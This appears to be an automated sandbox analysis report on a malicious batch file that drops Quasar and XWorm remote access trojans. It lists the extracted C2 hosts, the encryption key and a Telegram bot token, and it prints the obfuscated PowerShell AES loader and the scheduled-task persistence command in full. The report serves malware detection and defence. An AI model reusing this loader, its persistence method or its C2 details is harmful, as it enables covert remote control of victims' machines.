Resubmissions

Analysis

  • max time kernel
    54s
  • max time network
    61s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-04-2024 18:14

General

  • Target

    Client-built.bat

  • Size

    1.6MB

  • MD5

    566c653ae6a704041aef596fce6d6a8c

  • SHA1

    da35608bf372a6113d941817a96bc3a17de9ef69

  • SHA256

    950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9

  • SHA512

    98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2

  • SSDEEP

    24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

express-divorce.gl.at.ply.gg:22562

Mutex

6735a92b-88d2-4fbe-8e59-605a85072109

Attributes
  • encryption_key

    8681483EF512C654BECF205A0D74FFCA4B129A98

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Trapix Client Startup

  • subdirectory

    SubDir

Extracted

Family

xworm

Version

3.0

C2

traffic-collins.gl.at.ply.gg:24820

Mutex

uX6FapIHo24Z2JFZ

Attributes
  • install_file

    USB.exe

  • telegram

    https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284

aes.plain

Signatures

  • Detect Xworm Payload 3 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_880_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_880.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2116
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_880.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_880.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3164
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_880.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_880.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2208
            • C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe
              "C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"
              6⤵
              • Executes dropped EXE
              PID:3636

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f8d49a4af7a844bfc7247d5670def557

    SHA1

    26ae0ce194a77a7a1887cf93741293fdfa6c94c4

    SHA256

    61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

    SHA512

    9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

  • C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe

    Filesize

    31KB

    MD5

    dd466e4e324143a67a406797c23ee2bc

    SHA1

    cc369b99c18c9322734b14908e7b21f2bec48118

    SHA256

    1a87f2fed2a9263e703c44d25da8242016a640db930678a0f497879267c133c8

    SHA512

    603c082427129deac3bce210d87e3f4125dd429ad7fe13422b7a3d80f8e282ae8ad887a20e47de12a3f90c24ab4a143dc3b069fd8da122f4f96b70f94bd7f438

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ww5ii4l.rff.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_880.bat

    Filesize

    1.6MB

    MD5

    566c653ae6a704041aef596fce6d6a8c

    SHA1

    da35608bf372a6113d941817a96bc3a17de9ef69

    SHA256

    950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9

    SHA512

    98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2

  • C:\Users\Admin\AppData\Roaming\startup_str_880.vbs

    Filesize

    115B

    MD5

    cb82f6b4868c69302aa0f0d769cbc67e

    SHA1

    a0f5dfa79e967f926e43814fdb372c07f6dbe338

    SHA256

    952d59ec8eb7e2857dfecc5fb7b30483b67005962cf37ee22c33243976271f6c

    SHA512

    69819516721d4fa2224e4d710891290d7ef026c89ffbb4b5119491a15d383cda82c3ea46b2eb4681b53d0a0b87d06d5e79ec80afed2e4ea95eb4f2301e57a781

  • memory/1492-12-0x00000250DE010000-0x00000250DE020000-memory.dmp

    Filesize

    64KB

  • memory/1492-1-0x00000250F8760000-0x00000250F8782000-memory.dmp

    Filesize

    136KB

  • memory/1492-54-0x00007FF81D0A0000-0x00007FF81DB61000-memory.dmp

    Filesize

    10.8MB

  • memory/1492-14-0x00000250F89C0000-0x00000250F8AFA000-memory.dmp

    Filesize

    1.2MB

  • memory/1492-13-0x00000250F89B0000-0x00000250F89B8000-memory.dmp

    Filesize

    32KB

  • memory/1492-0-0x00007FF81D0A0000-0x00007FF81DB61000-memory.dmp

    Filesize

    10.8MB

  • memory/1492-4-0x00000250DE010000-0x00000250DE020000-memory.dmp

    Filesize

    64KB

  • memory/2116-17-0x00000273372E0000-0x00000273372F0000-memory.dmp

    Filesize

    64KB

  • memory/2116-32-0x00007FF81D0A0000-0x00007FF81DB61000-memory.dmp

    Filesize

    10.8MB

  • memory/2116-29-0x00000273372E0000-0x00000273372F0000-memory.dmp

    Filesize

    64KB

  • memory/2116-28-0x00000273372E0000-0x00000273372F0000-memory.dmp

    Filesize

    64KB

  • memory/2116-18-0x00000273372E0000-0x00000273372F0000-memory.dmp

    Filesize

    64KB

  • memory/2116-16-0x00007FF81D0A0000-0x00007FF81DB61000-memory.dmp

    Filesize

    10.8MB

  • memory/2208-42-0x0000017340C50000-0x0000017340C60000-memory.dmp

    Filesize

    64KB

  • memory/2208-77-0x0000017340C50000-0x0000017340C60000-memory.dmp

    Filesize

    64KB

  • memory/2208-57-0x00000173432E0000-0x0000017343604000-memory.dmp

    Filesize

    3.1MB

  • memory/2208-58-0x0000017340C50000-0x0000017340C60000-memory.dmp

    Filesize

    64KB

  • memory/2208-41-0x00007FF81D0A0000-0x00007FF81DB61000-memory.dmp

    Filesize

    10.8MB

  • memory/2208-78-0x0000017340C50000-0x0000017340C60000-memory.dmp

    Filesize

    64KB

  • memory/2208-43-0x0000017340C50000-0x0000017340C60000-memory.dmp

    Filesize

    64KB

  • memory/2208-71-0x0000017343C80000-0x0000017343CD0000-memory.dmp

    Filesize

    320KB

  • memory/2208-72-0x0000017343D90000-0x0000017343E42000-memory.dmp

    Filesize

    712KB

  • memory/2208-73-0x0000017344360000-0x0000017344522000-memory.dmp

    Filesize

    1.8MB

  • memory/2208-76-0x0000017340C50000-0x0000017340C60000-memory.dmp

    Filesize

    64KB

  • memory/2208-75-0x00007FF81D0A0000-0x00007FF81DB61000-memory.dmp

    Filesize

    10.8MB

  • memory/3636-74-0x000000001B410000-0x000000001B420000-memory.dmp

    Filesize

    64KB

  • memory/3636-70-0x0000000000620000-0x000000000062E000-memory.dmp

    Filesize

    56KB

  • memory/3636-69-0x00007FF81D0A0000-0x00007FF81DB61000-memory.dmp

    Filesize

    10.8MB

  • memory/3636-79-0x00007FF81D0A0000-0x00007FF81DB61000-memory.dmp

    Filesize

    10.8MB

  • memory/3636-80-0x000000001B410000-0x000000001B420000-memory.dmp

    Filesize

    64KB